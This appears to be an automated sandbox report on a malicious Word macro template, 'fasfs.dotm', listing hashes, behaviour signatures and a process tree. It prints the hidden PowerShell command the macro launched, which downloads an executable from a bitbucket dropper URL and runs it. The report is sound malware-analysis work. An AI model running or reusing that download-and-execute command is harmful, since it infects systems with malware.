Analysis

  • max time kernel
    120s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 02:36

General

  • Target

    fasfs.dotm

  • Size

    16KB

  • MD5

    56265082f8036943f8aa659cda6b4b6f

  • SHA1

    4b4c75a574e7bc18117cecfe8cad64205097ec43

  • SHA256

    4adf62e4e36861567206126d6ef1a1d59bf169f9c72cde72dad9a3bfe0c09faf

  • SHA512

    33792ecfeaf686435db9d6537b8e99d74b08198c198e3357b0b6ba324f7c5eb410060a34e64b2a09aa3b20f9a7b459ae6b13670abb4e03550ffb79fb0e155c2d

  • SSDEEP

    384:tmtLW4BPok2xSxCyX+ZKC78qN9j6akwLWdxdA97YB3H/:qa4Bn2xzyX+383akw6L2M9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fasfs.dotm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Users\Admin\AppData\Local\Temp\powershell.exe
      powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/damnman/damn/downloads/PUMPED_docc.exe','2d21412.exe');Start-Process '2d21412.exe'
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      PID:2160
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2940

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2436-0-0x000000002F6C1000-0x000000002F6C2000-memory.dmp

      Filesize

      4KB

    • memory/2436-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2436-2-0x0000000073C1D000-0x0000000073C28000-memory.dmp

      Filesize

      44KB

    • memory/2436-4-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-5-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-10-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-11-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-9-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-8-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-7-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-6-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-14-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2436-13-0x0000000073C1D000-0x0000000073C28000-memory.dmp

      Filesize

      44KB

    • memory/2436-15-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB